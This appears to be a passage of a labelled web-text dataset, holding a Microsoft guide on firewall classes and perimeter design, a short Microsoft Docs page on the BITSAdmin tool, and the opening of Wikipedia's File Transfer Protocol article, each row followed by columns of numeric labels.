essentially the reverse approach of the SSL connection between the internal client and the external server. These options provide numerous ways of controlling how far an encrypted session can be allowed to tunnel into an environment. In general, the closer you can keep encrypted traffic to the edge of your environment the better, because nothing in between can really see what is inside that tunnel. Firewall Classes This section presents a number of firewall classes, each of which provides certain features. Specific firewall classes can be used to respond to specific requirements in the IT architecture design. Grouping firewalls into classes allows for the abstraction of the hardware from the requirements of the service, so that service requirements can be matched against class features. As long as a firewall fits into a specific class, you can assume it supports all the services of that class. The various classes are as follows: Personal firewalls Router firewalls Low-end hardware firewalls High-end hardware firewalls Server firewalls It is important to understand that some of these classes overlap; this is by design. The overlap allows one type of firewall solution to span multiple classes. Many classes can also be served by more than one hardware model from the same vendor, so that an organization can select a model that best suits their needs both now and in the future. Apart from the price and feature set, firewalls can be classified on the basis of performance (or throughput). However, many manufacturers do not provide any throughput figures for their firewall. Where they are provided (usually for hardware firewall devices), no standard measurement process is followed, which makes comparisons between manufacturers difficult. For example, one measure is the number of bits per second (bps), but as the firewall is actually passing IP packets, this measure is meaningless if the packet size used in measuring the rate is not included. The following sections define each firewall class in detail. Class 1 - Personal Firewall A personal firewall is defined as a software service that provides a simple firewall capability for a personal computer. As the number of permanent Internet connections (as opposed to dial-up connections) has grown, the use of personal firewalls has increased. Although designed to protect a single computer, a personal firewall can also protect a small network, if the computer on which it is installed is sharing its connection to the Internet with other computers on the internal network. However, the performance of personal firewall software is limited and it degrades the performance of the personal computer on which it is installed. The protection mechanisms are usually less effective than a dedicated firewall solution, because they are usually restricted to blocking IP and port addresses, although generally speaking a lower level of protection is needed on a personal computer. Personal firewalls may be supplied with an operating system or at a very low cost. They are suitable for their intended purpose, but because of their restricted performance and functionality, they should not be considered for use in an enterprise, even in small satellite offices. They are, however, particularly suitable for mobile users on laptop computers. Personal firewalls vary tremendously in their capabilities and price. However, lack of a specific feature, especially on a laptop, might not be of great importance. The following table shows the features commonly available in personal firewalls. Table 1. Class 1 - Personal Firewalls Firewall Attribute Value Basic features supported Most personal firewalls support static packet filters, NAT, and stateful inspection, while some support circuit-level inspection and/or application layer filtering. Configuration Automatic (manual option also available) Block or allow IP addresses Yes Block or allow protocol or port numbers Yes Block or allow incoming ICMP messages Yes Control outgoing access Yes Application protection Possibly Audible or visible alerts Possibly Log file of attacks Possibly Real-time alerts Possibly VPN support Typically no Remote management Typically no Manufacturer support Varies widely (depends on the product) High-availability option No Number of concurrent sessions 1 to 10 Modular upgradeability (hardware or software) None to limited Price range Low (free in some cases) Personal firewalls offer the following advantages and disadvantages. Advantages The advantages of personal firewalls include: Inexpensive When only a limited number of licenses are required, personal firewalls are an inexpensive option. A personal firewall is integrated into versions of the Microsoft Windows XP operating system. Additional products that work with other versions of Windows or other operating systems are available for free or at limited cost. Easy to configure Personal firewall products tend to have basic configurations that work out-of-the-box with straightforward configuration options. Disadvantages The disadvantages of personal firewalls include: Difficult to manage centrally Personal firewalls need to be configured on every client, which adds to the management overhead. Only basic control Configuration tends to be a combination of static packet filtering and permission-based blocking of applications only. Performance limitations Personal firewalls are designed to protect a single personal computer. Using them on a computer that serves as a router for a small network will lead to degraded performance. Class 2 - Router Firewall Routers usually support one or more of the firewall features discussed previously; they can be subdivided into low-end devices designed for Internet connections and high-end traditional routers. The low-end routers provide basic firewall features for blocking and allowing specific IP addresses and port numbers, and use NAT to hide interior IP addresses. They often provide the firewall feature as standard, optimized to block intrusions from the Internet, and while they need no configuration, they can be refined with further configuration. High-end routers can be configured to tighten up access by barring the more obvious intrusions, such as pings, and by implementing other IP address and port restrictions through the use of ACLs. Additional firewall features may be available, which provide stateful packet filtering in some routers. In high-end routers, the firewall capability is similar to that of a hardware firewall device at a lower cost, but also with a lower throughput. Table 2. Class 2 - Router Firewall Firewall Attribute Value Basic features supported Most router firewalls support static packet filters. Lower-end routers typically support NAT. Higher-end routers may support stateful inspection and/or application layer filtering. Configuration Typically automatic on lower-end routers (with manual options). Often manual on higher-end routers. Block or allow IP addresses Yes Block or allow protocol/port numbers Yes Block or allow incoming ICMP messages Yes Control outgoing access Yes Application protection Possibly Audible or visible alerts Typically Log file of attacks In many cases Real-time alerts In many cases VPN Support Common in lower-end routers, not as common in higher-end routers. Separate dedicated devices or servers for this task are available. Remote management Yes Manufacturer support Typically limited in lower-end routers and good in higher-end routers. High-availability option available Low End: No - High End: Yes Number of concurrent sessions 10 - 1,000 Modular upgradeability (hardware or software) Low End: No - High End: Limited Price range Low to High Router firewalls offer the following advantages and disadvantages. Advantages The advantages of router firewalls include: Low cost solution Activation of an existing router firewall feature may not add any cost to the price of the router, and it requires no additional hardware. Configuration can be consolidated Router firewall configuration can be accomplished when the router is configured for normal operations, thereby minimizing the management effort. This solution is particularly suitable for satellite branch offices, since network hardware and manageability are simplified. Investment protection Router firewall configuration and management is familiar to the operations staff, so no retraining is required. Network cabling is simplified, because no additional hardware is installed, which also simplifies network management. Disadvantages The disadvantages of router firewalls include: Limited functionality In general, low-end routers only offer basic firewall features. High-end routers typically offer higher-level firewall features, but may need considerable configuration, much of which is done through the addition of controls that are easily forgotten, making it somewhat difficult to configure correctly. Only basic control Configuration tends to be a combination of static packet filtering and permission-based blocking of applications only. Performance impact Using a router as a firewall detracts from the performance of the router and slows the routing function, which is its primary task. Log file performance Use of a log file to catch unusual activities can seriously reduce the performance of the router, especially when it is already under attack. Class 3 - Low-end Hardware Firewall At the low end of the hardware firewall market are Plug-and-Play units, which require little or no configuration. These devices often incorporate switch and/or VPN functionality as well. Low-end hardware firewalls are targeted at small businesses and for internal use in larger organizations. They generally offer static filtering capabilities and basic remote management functionality. Devices from larger manufacturers may run the same software as their higher-end counterparts, providing an upgrade path should one be required. Table 3. Class 3 - Low-end Hardware Firewall Firewall Attribute Value Basic features supported Most low-end hardware firewalls support static packet filters and NAT. May support stateful inspection and/or application layer filtering. Configuration Automatic (manual option also available) Block or allow IP addresses Yes Block or allow protocol/port numbers Yes Block or allow incoming ICMP messages Yes Control outgoing access Yes Application protection Typically not Audible or visible alerts Typically not Log file of attacks Typically not Real-time alerts Typically not VPN Support Sometimes Remote management Yes Manufacturer support Limited High-availability option available Typically not Number of concurrent sessions > 10 - 7500 Modular upgradeability (hardware or software) Limited Price range Low Low-end hardware firewalls offer the following advantages and disadvantages. Advantages The advantages of low-end hardware firewalls include: Low cost Low-end firewalls can be purchased inexpensively. Simple Configuration Almost no configuration is required. Disadvantages The disadvantages of low-end hardware firewalls include: Limited functionality In general, low-end hardware firewalls only offer basic firewall functionality. They cannot be run in parallel for redundancy. Poor throughput Low-end hardware firewalls are not designed to handle high-throughput connections, which may cause bottlenecks. Limited manufacturer support As these are low cost items, manufacturer support is usually limited to e-mail and/or a Web site. Limited upgradeability Usually there can be no hardware upgrades, though there are often periodic firmware upgrades available. Class 4 - High-end Hardware Firewall At the high end of the hardware firewall market, there are high-performance, highly resilient products, which are suitable for the enterprise or service provider. These usually offer the best protection, without reducing the performance of the network. Resilience can be achieved by adding a second firewall running as a hot standby unit, which maintains the current table of connections through automatic stateful synchronization. Firewalls should be used in every network connected to the Internet, because intrusion happens constantly; DoS attacks, theft, and data corruption are being attempted all the time. High-end hardware firewall units should be considered for deployment in central or headquarters locations. Table 4. Class 4 - High-end Hardware Firewall Firewall Attribute Value Basic features supported Most high-end hardware firewalls support static packet filters and NAT. They may support stateful inspection and/or application layer filtering. Configuration Typically manual Block or allow IP addresses Yes Block or allow protocol/port numbers Yes Block or allow incoming ICMP messages Yes Control outgoing access Yes Application protection Potentially Audible or visible alerts Yes Log file of attacks Yes Real-time alerts Yes VPN support Potentially Remote management Yes Manufacturer support Good High-availability option available Yes Number of concurrent sessions > 7500 - 500,000 Modular upgradeability (hardware or software) Yes Price range High High-end hardware firewalls offer the following advantages and disadvantages. Advantages The advantages of high-end hardware firewalls include: High performance Hardware firewall products are designed for a single purpose and provide high levels of intrusion-blocking together with the least degradation of performance. High availability High-end hardware firewalls can be connected together for optimal availability and load balancing. Modular systems Both hardware and software can be upgraded for new requirements. Hardware upgrades may include additional Ethernet ports, while software upgrades may include detection of new methods of intrusion. Remote management High-end hardware firewalls offer better remote management functionality than their low-end counterparts. Resilience High-end hardware firewalls may have availability and resilience features, such as hot or active standby with a second unit. Application layer filtering Unlike their low-end counterparts, high-end hardware firewalls provide filtering for well-known applications at the L4, L5, L6, and L7 layers of the OSI model. Disadvantages The disadvantages of high-end hardware firewalls include: High cost High-end hardware firewalls tend to be expensive. Although they can be purchased for as little as $100, the cost is much higher for an enterprise firewall, since the price is often based on the number of concurrent sessions, throughput, and availability requirements. Complex configuration and management Because high-end hardware firewalls have much greater capability than low-end firewalls, they are also more complex to configure and manage. Class 5 - High-end Server Firewall A variety of products are available that add firewall capability to a high-end server, providing robust fast protection on standard hardware and software systems. The benefits of this approach are the use of familiar hardware or software, which provides a reduced number of inventory items, simplified training and management, reliability, and expandability. Many of the high-end hardware firewall products are implemented on an industry-standard hardware platform running an industry-standard operating system (but hidden from view) and therefore have little difference, either technically or in performance, from a server firewall. However, because the operating system is still visible, the server firewall feature can be upgraded and made more resilient by techniques such as clustering. Because the server firewall is a server running a commonly-used operating system, additional software, features, and functionality can be added to the firewall from a variety of vendors (not just one vendor, which is the case with a hardware firewall). Familiarity with the operating system can also lead to more effective firewall protection, because some of the other classes need considerable expertise for full and correct configuration. This class is suitable where there is a high investment in a particular hardware or software platform, because using the same platform for the firewall makes the management task simpler. The caching capability of this class can also be very effective. Table 5. Class 5 - High-end Server Firewall Firewall Attribute Value Features supported Most high-end server firewalls support static packet filters and NAT. They may also support stateful inspection and/or application layer filtering. Configuration Typically manual Block or allow IP addresses Yes Block or allow protocol/port numbers Yes Block or allow incoming ICMP messages Yes Control outgoing access Yes Application protection Potentially Audible or visible alerts Yes Log file of attacks Yes Real-time alerts Yes VPN support Potentially Remote management Yes Manufacturer support Good High-availability option available Yes Number of concurrent sessions >50,000 (across multiple network segments) Modular upgradeability (hardware or software) Yes Other Commonly used operating system Price range High Server firewalls offer the following general advantages and disadvantages. Advantages The advantages of server firewalls include: High performance When run on a suitably sized server, these firewalls can offer high levels of performance. Integration and consolidation of services Server firewalls can make use of various features of the operating system on which they run. For example, firewall software that runs on the Microsoft Windows Server\xe2\x84\xa2 2003 operating system can take advantage of the Network Load Balancing functionality built into the operating system. Additionally, the firewall could serve as a VPN server, again utilizing functionality in the Windows Server 2003 operating system. Availability, resilience, and scalability Because this firewall runs on standard personal computer hardware, it has all the availability, resilience, and scalability features of the personal computer platform on which it runs. Disadvantages The disadvantages of server firewalls include: Requires high-end hardware For high performance, most server firewall products require high-end hardware in terms of central processing unit (CPU), memory, and network interfaces. Susceptible to vulnerabilities Because server firewall products run on well-known operating systems, they are susceptible to the vulnerabilities present in the operating system and other software running on the server. Although this is also the case for hardware firewalls, their operating systems are not usually as familiar to attackers as most server operating systems. Perimeter Firewall Usage A perimeter firewall exists to serve the requirements of users outside the boundaries of the organization. User types may include: Trusted Employees of the organization, such as branch office workers, remote users, or users that work from home. Semi-trusted Business partners of the organization, for whom a higher level of trust exists than with untrusted users. However, it is often still a somewhat lower level of trust than that with the organization's employees. Untrusted For example, users of the organization's public Web site. It is important to consider the fact that the perimeter firewall is particularly open to external attack, because it must be broken for an intruder to get further into your network. It therefore becomes an obvious goal to break. Firewalls used in a border capacity are an organization's gateway to the outside world. In many large organizations, the firewall class implemented here is typically a high-end hardware or server firewall, although some organizations use router firewalls. When selecting the firewall class to use as a perimeter firewall there are a number of issues that should be considered. The following table highlights these issues. Table 6. Perimeter Firewall Class Choice Issues Issue Typical Characteristics of a Firewall Implemented in This Capacity Required firewall features, as specified by the security administrator This is a balance between the degree of security required versus the cost of the feature and the potential degradation of performance that increased security may cause. While many organizations want the maximum security for a perimeter firewall, some are not willing to take the performance hit. For example, very high-volume Web sites not involved with e-commerce may allow lower levels of security, based on higher levels of throughput obtained by using static packet filters instead of application layer filtering. Whether the device will be a dedicated physical device, provide other functionality, or be a logical firewall on a physical device As the gateway between the Internet and the enterprise's network, the perimeter firewall is often implemented as a dedicated device, in order to minimize the attack surface and accessibility of internal networks that would occur if the device were breached. Manageability requirements for the device, as specified by the organization's management architecture Some form of logging is typically used, while an event monitoring mechanism is also often required. Remote administration may not be allowed here, in order to prevent a malicious user from remotely administering the device and only local administration will be allowed. Throughput requirements will likely be determined by the network and service administrators within the organization These will vary for each environment, but the power of the hardware in the device or server and the firewall features being used will determine the overall network throughput available. Availability requirements As the gateway to the Internet in large enterprises, high levels of availability are often required, especially when a revenue-generating Web site is protected by a perimeter firewall. Perimeter Firewall Rules In the following discussion, the term bastion host means a server located in your perimeter network that provides services to both internal and external users. Examples of bastion hosts include Web servers, and VPN servers. Typically, your perimeter firewall will need the following rules implemented, either by default or by configuration: Deny all traffic unless explicitly allowed. Block incoming packets that claim to have an internal or perimeter network source IP address. Block outgoing packets that claim to have an external source IP address (traffic should only originate from bastion hosts). Allow for UDP-based DNS queries and answers from the DNS resolver to DNS servers on the Internet. Allow for UDP-based DNS queries and answers from the Internet DNS servers to the DNS advertiser. Allow external UDP-based clients to query the DNS advertiser and provide an answer. Allow TCP-based DNS queries and answers from Internet DNS servers to the DNS advertiser. Allow outgoing mail from the outbound SMTP bastion host to the Internet. Allow incoming mail from the Internet to the inbound SMTP bastion host. Allow proxy-originated traffic from the proxy servers to reach the Internet. Allow proxy-responses from the Internet to be directed to the proxy servers on the perimeter. Hardware Requirements The hardware requirements for a perimeter firewall are different for software-based and hardware-based firewalls, as summarized below: Hardware-based firewall These devices usually run specialized code on a custom-built hardware platform. They are typically scaled (and priced) based on the number of connections they can handle and the complexity of the software that is to be run. Software-based firewalls These are also configured based on the number of concurrent connections and the complexity of the firewall software. Calculators exist that can compute the processor speed, memory size, and disk space needed for a server, based on the number of connections supported. You should take into account other software that may also be running on the firewall server, such as load balancing and VPN software. Also, consider the methods for scaling the firewall both upward and outward. These methods include increasing the power of the system by adding additional processors, memory, and network cards, and also using multiple systems and load balancing to spread the firewall task across them (see the ""Scalability"" section later on in this module). Some products take advantage of symmetrical multiprocessing (SMP) to boost performance. The Network Load Balancing service of Windows Server 2003 can offer fault tolerance, high availability, efficiency, and performance improvements for some software firewall products. Firewall Availability To increase the availability of the perimeter firewall, it can be implemented as a single firewall device with redundant components or as a redundant pair of firewalls incorporating some type of failover and/or load balancing mechanism. The advantages and disadvantages of these options are presented in the following subsections. Single Firewall without Redundant Components A single firewall without redundant components is depicted in Figure 2: Figure 2. Single Firewall Without Redundant Components The use of a single firewall without redundant components offers the following advantages and disadvantages. Advantages The advantages of a single firewall with no redundancy include: Low cost Because there is only one firewall, the hardware and licensing costs are low. Simplified management Management is simplified, because there is only one firewall for the site or enterprise. Single logging source All traffic logging is central to one device. Disadvantages The disadvantages of a single firewall with no redundancy include: Single point of failure There is a single point of failure for inbound and/or outbound Internet access. Possible traffic bottleneck A single firewall could be a traffic bottleneck, depending on the number of connections and the throughput required. Single Firewall with Redundant Components A single firewall tier with redundant components is depicted in Figure 3: Figure 3. Single Firewall with Redundant Components Use of a single firewall with redundant components offers the following advantages and disadvantages. Advantages The advantages of a single firewall with redundant components include: Low cost Because there is only one firewall, the hardware and licensing costs are low. The cost of the redundant components, such as a power supply, is not high. Simplified management Management is simplified because there is only one firewall for the site or enterprise. Single logging source All traffic logging is central to one device. Disadvantages The disadvantages of a single firewall with redundant components include: Single point of failure Depending on the number of redundant components, there may still be a single point of failure for inbound and/or outbound Internet access. Cost The cost is higher than a firewall without redundancy, and may also require a higher class of firewall to be able to incorporate redundancy. Possible traffic bottleneck A single firewall could be a traffic bottleneck, depending on the number of connections and the throughput required. Fault Tolerant Firewalls A fault tolerant firewall set would include a mechanism to duplicate each of the firewalls, as shown in Figure 4. Figure 4. Fault Tolerant Firewalls Use of a fault tolerant firewall set offers the following advantages and disadvantages. Advantages The advantages of a fault tolerant firewall set include: Fault tolerance Using pairs of servers or devices can help provide the required level of fault tolerance. Central logging All traffic logging is central to a pair of devices with good connectivity between them. State sharing possible Depending on the device vendor, firewalls in this tier may be able to share the state of sessions between them. Disadvantages The disadvantages of a fault tolerant firewall set include: Increased complexity The setup and support of this type of solution is more complex due to the multi-path nature of the network traffic. Complex configuration The separate sets of firewall rules can lead to security holes and support issues if not correctly configured. In the preceding scenarios, the firewall could be hardware- or software-based. In the previous figures, the firewall is serving as the gateway between the organization and the Internet but the border router is placed outside the firewall. This router is extremely vulnerable to intrusion, and so it also must have certain firewall features configured. Limited firewall capabilities could be implemented without a full firewall feature set, relying on the firewall device to prevent total intrusion. Alternatively, the firewall could be consolidated within the router with no additional stand-alone firewall device. Fault Tolerant Firewall Configurations When implementing a fault tolerant firewall set (often referred to as a cluster), there are two primary approaches, as described in the following sections. Active/Passive Fault Tolerant Firewall Set In an active/passive fault tolerant firewall set, one device handles all the traffic while the other device does nothing. There is typically a convention through which both devices are communicating either the availability and/or the state of the connection to partner nodes. This communication is often called a heartbeat, which each system signals to the other, several times a second, to ensure connections are being handled by the partner node. When the passive node does not receive a heartbeat from the active node at a specific user-defined interval, it then assumes the active role. An active/passive fault tolerant firewall set is depicted in the Figure 5: Figure 5. Active/Passive Fault-Tolerant Firewall Set The use of an active/passive fault tolerant firewall set has the following advantages and disadvantages. Advantages The advantages of the active/passive fault tolerant firewall set include: Simple configuration This configuration is simple to set up and troubleshoot, because only a single network path is active at any one time. Predictable failover load Because the whole traffic load switches to the passive node at failover, it is easy to plan for the traffic that the passive node is expected to manage. Disadvantages The disadvantages of the active/passive fault tolerant firewall set include: Inefficient configuration The active/passive fault tolerant firewall set is inefficient, because the passive node provides no useful function to the network during normal operation. Active/Active Fault Tolerant Firewall Set In an active/active fault tolerant firewall set, two or more nodes are actively listening to all of the requests sent to a virtual IP address that every node shares. The load is distributed between the nodes through algorithms unique to the fault tolerance mechanism in use, or through static user-based configuration, so that each node is actively filtering different traffic at the same time. In the event that one node fails, the surviving nodes distribute the processing of the load that the failed node had previously assumed. An active/active fault tolerant firewall set is depicted in Figure 6: Figure 6. Active/Active Fault Tolerant Firewall Set Use of an active/active fault tolerant firewall set offers the following advantages and disadvantages. Advantages The advantages of the active/active fault tolerant firewall set include: Greater efficiency Because both firewalls are providing a service to the network, this configuration is more efficient than an active/passive fault tolerant firewall set. Higher throughput During normal operation, this configuration can handle higher levels of traffic compared with the active/passive configuration, because both firewalls can provide service to the network simultaneously. Disadvantages The disadvantages of the active/active fault tolerant firewall set include: Subject to potential overload If one node fails, the hardware resources on the remaining node(s) may be insufficient to handle the total throughput requirement. It is important to plan for this accordingly, understanding that performance degradation is likely to occur as the surviving nodes take on the additional workload when a node fails. Increased complexity Because the network traffic can pass through two routes, troubleshooting becomes more complex. Security Security of firewall products is of paramount importance. Although there are no industry standards for firewall security, the vendor-independent International Computer Security Association (ICSA) runs a certification program aimed at testing the security of commercially available firewall products. The ICSA tests a significant number of products available in the market today (for further information, refer to www.icsalabs.com). You must take care to ensure that a firewall achieves the requisite security standards; one way of doing this is to achieve ICSA certification. In addition, check whether your chosen firewall has an existing track record. A number of security vulnerability databases are available on the Internet; you should scan these to see how many vulnerabilities the product has been susceptible to in the past and their significance. Unfortunately, all products (hardware- and software-based) have bugs. In addition to determining the number and severity of bugs that have affected the product you are thinking of buying, you should also assess the responsiveness of the vendor to the exposed vulnerabilities. Scalability This section addresses the scalability requirement of a firewall solution. Scalability of firewalls is largely determined by the performance characteristics of the device, and it is wise to select a firewall that will scale to meet the scenarios it will face in practice. There are two basic ways to achieve scalability. They are: Vertical Scaling (Scaling Up) Whether the firewall is a hardware device or a software solution running on a server, varying degrees of scalability can be achieved by increasing the amount of memory, CPU processing power, and throughput of network interfaces. However, each device or server has a finite cap in terms of how far it can be vertically scaled. For example, while you may purchase a server that has sockets for four CPUs and you start with two, you will only ever be able to add two more CPUs. Horizontal Scaling (Scaling Out) Once a server has been vertically scaled to its limit, horizontal scaling becomes important. Most firewalls (hardware- and software-based) have the ability to scale out through the use of some form of load balancing. In such a scenario, multiple servers are arranged into a cluster, which is seen by the clients on the network as just one server. This scenario is essentially the same as the active/active cluster described in the ""Firewall Availability"" section earlier in the module. The technology used to provide this functionality may or may not be the same as that described earlier, and will be dependent on the vendor. Scaling up hardware firewalls can be difficult. However, some hardware firewall manufacturers offer scale out solutions because their devices can be stacked to operate as a single, load balanced unit. Some software-based firewalls are designed to scale up through the use of multiple processors. The firewall itself does not usually address multiprocessing, which is controlled by the underlying operating system. However, the firewall needs to be able to address the hardware to be able to fully use this capability. This approach allows scaling on single or redundant devices, as opposed to hardware-based firewalls, which are usually set to whatever hardware limitations are built into the device at the time of manufacture. Most firewalls are classified by the number of concurrent connections that a device can handle. Hardware devices often need to be replaced if connection requirements exceed what is available to the fixed-scale model of the device. As discussed earlier, fault tolerance may be built into the operating system of a firewall server. In the case of a hardware firewall, fault tolerance is likely to be an extra cost. Performance A number of technologies are available to enhance the performance of a firewall, including: Gigabit Ethernet/Fiber Support Proxy, Reverse Web Proxy, and Caching SSL Off-loading Interfaces IPSec Off-loading Interfaces For software-based firewalls, each one of these technologies is commercially available from multiple vendors, which keeps the costs low. While there may be similar third party solutions available for hardware devices, often they can only be obtained from the manufacturer of the hardware firewall itself. The following sections discuss each of these performance-enhancing technologies. Gigabit Ethernet/Fiber Support Many switches, routers, and firewalls can handle Ethernet gigabit speed interfaces, and the reduction in cost of these interfaces has increased their popularity. This capability greatly reduces the likelihood of interfaces becoming bottlenecks in firewall deployments. Proxy, Reverse Web Proxy, and Caching Typically, the caching ability is only available on software-based firewalls, because it requires the use of a disk to cache traffic or data. SSL Off-loading Interfaces SSL accelerator cards can improve the performance of publicly exposed Web sites that use SSL-based encryption by offloading the encryption processing from the CPU of the firewall. When SSL is terminated at the firewall, these devices offer significant benefits. IPSec Off-loading Interfaces IPSec accelerator cards can improve the performance of publicly exposed services that use IPSec-based encryption, such as VPN. These devices offload the encryption processing from the CPU of the firewall. IPSec off-loading can be used for traffic that communicates between the internal interface of the firewall and a published service, thus ensuring that the traffic traversing the perimeter network is encrypted between the perimeter network hosts. Consolidation Consolidation means either incorporating the firewall service in another device, or incorporating other services in the firewall. Consolidation benefits include: Lower purchase price By incorporating the firewall service in another service, for example in a router, you can save the cost of a hardware device, although you must still purchase the firewall software. Similarly, by incorporating other services in the firewall, you can save the cost of additional hardware. Reduced inventory and management costs By reducing the number of hardware devices, you can reduce operating costs, since fewer hardware upgrades are required, cabling is simplified, and management is simpler. Higher performance Depending upon what consolidation is achieved, you can improve performance. For example, by incorporating Web server caching in the firewall, you may cut out additional devices, allowing the services talk to each other at high speed rather than over an Ethernet cable. Examples of consolidation include: Adding firewall services to the border router Most routers can have a firewall service available in them. The capabilities of this firewall service may be very simple in low cost routers, but high-end routers will usually have a very capable firewall service. In practice, although you may have a separate perimeter firewall, the border router should always have its firewall service active, to protect both the router itself and the border switches. Adding firewall services to the border switch Depending upon the border switch selected, it may be possible to add in the perimeter firewall as a blade, reducing costs, and improving performance. Adding proxy cache to the perimeter firewall Proxy caching stores frequently-accessed Web pages, so that the next requestor is delivered a page from the cache rather than having to re-access the Web server, which improves response times and reduces the Web server load. Generally, this can only be incorporated in a server firewall, as it requires a local hard disk to hold the cache. When considering consolidating other services onto the same server or device that provides the firewall service, you should take care to ensure that the use of a given service does not compromise the availability, security, manageability, or performance of the firewall. Performance considerations are also important, as the load generated by additional services will degrade the performance of the firewall service. An alternative approach to consolidating services onto the same device, or server hosting the firewall service, is to consolidate a firewall hardware device as a blade in a switch. This approach usually costs less than a standalone firewall of any type, and can take advantage of the availability features of the switch, such as dual power supplies. Such a configuration is also easier to manage, because it is not a separate device. In addition, it usually runs faster, because it uses the switch's bus, which is much faster than external cabling. Standards and Guidelines Most Internet protocols that use version 4 of the Internet Protocol (IPv4) can be protected by a firewall, including lower-level protocols such as TCP and UDP, and higher-level protocols such as HTTP, SMTP, and FTP. Any firewall product under consideration should be reviewed to ensure that it supports the required type of traffic. Some firewalls can also interpret GRE, which is the encapsulation protocol for the point-to-point tunneling protocol (PPTP) used in some VPN implementations. Some firewalls have built-in application layer filters for protocols such as HTTP, SSL, DNS, FTP, SOCKS v4, RPC, SMTP, H. 323, and post office protocol (POP). Summary This module has provided a practical process for the successful selection of firewall products. This process covers all aspects of firewall design, including the various evaluation and classification processes required to reach a solution. No firewall is 100% safe: the only way to ensure that your network cannot be attacked electronically from the outside is to implement an air gap between it and all other systems and networks. The result would be a secure network that is virtually unusable. Firewalls enable you to implement an appropriate level of security protection when connecting your network to an external network, or when joining two internal networks. The firewall strategies and design processes outlined in this module should be considered only as part of an overall security strategy, because a strong firewall is of limited value if there are weaknesses in other parts of the environment. Security must be applied to every component of the network, and a security policy that addresses the risks inherent in the environment must be defined for every component. References You can find further information about design and deployment of firewall services from the following URLs. For an overview of firewalls: www.microsoft.com/technet/security/guidance/networksecurity/firewall.mspx For detailed security information on Microsoft Windows Server 2003, refer to the ""Windows Server 2003 Security Center"" document: http://www.microsoft.com/technet/security/prodtech/windowsserver2003.mspx For information on Microsoft Internet Security & Acceleration Server firewall and Web proxy product, refer to: http://www.microsoft.com/isaserver/ For a free e-mail notification service that Microsoft uses to send information about the security of Microsoft products to subscribers, visit the Microsoft Security Notification Service Web site: www.microsoft.com/technet/security/bulletin/notify.mspx The SANS (SysAdmin, Audit, Network, and Security) Institute security resources are available from: http://www.sans.org The Computer Emergency Response Team (CERT) organization records and publishes security alerts and a center for security expertise at: http://www.cert.org Download the Complete Solution Windows Server System Reference Architecture Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"BITSAdmin tool - Windows applications | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents BITSAdmin tool 03/05/2019 2 minutes to read In this article BITSAdmin is a command-line tool that you can use to create download or upload jobs and monitor their progress. For full, comprehensive documentation of the tool and all of its commands, see bitsadmin and bitsadmin examples in the Windows IT Pro Center. For example, to list all BITS jobs, you can issue the command bitsadmin /list /verbose. Here's a screenshot of sample output for that command. Related topics bitsadmin in the Windows IT Pro Center bitsadmin examples in the Windows IT Pro Center Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","1","0","1","1","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"File Transfer Protocol - Wikipedia File Transfer Protocol From Wikipedia, the free encyclopedia Jump to navigation Jump to search Standard protocol for transferring files over TCP/IP networks ""FTP"" redirects here. For other uses, see FTP (disambiguation). Internet protocol suite Application layer BGP DHCP DNS FTP HTTP HTTPS IMAP LDAP MGCP MQTT NNTP NTP POP ONC/RPC RTP RTSP RIP SIP SMTP SNMP SSH Telnet TLS/SSL XMPP more... Transport layer TCP UDP DCCP SCTP RSVP more... Internet layer IP IPv4 IPv6 ICMP ICMPv6 ECN IGMP IPsec more... Link layer ARP NDP OSPF Tunnels L2TP PPP MAC Ethernet Wi-Fi DSL ISDN FDDI more... v t e The File Transfer Protocol (FTP) is a standard network protocol used for the transfer of computer files between a client and server on a computer network. FTP is built on a client-server model architecture using separate control and data connections between the client and the server.[1] FTP users may authenticate themselves with a clear-text sign-in protocol, normally in the form of a username and password, but can connect anonymously if the server is configured to allow it. For secure transmission that protects the username and password, and encrypts the content, FTP is often secured with SSL/TLS (FTPS) or replaced with SSH File Transfer Protocol (SFTP). The first FTP client applications were command-line programs developed before operating systems had graphical user interfaces, and are still shipped with most Windows, Unix, and Linux operating systems.[2][3] Many FTP clients and automation utilities have since been developed for desktops, servers, mobile devices, and hardware, and FTP has been incorporated into productivity applications, such as HTML editors. Contents 1 History of FTP servers 2 Protocol overview 2.1 Communication and data transfer 2.2 Login 2.3 Anonymous FTP 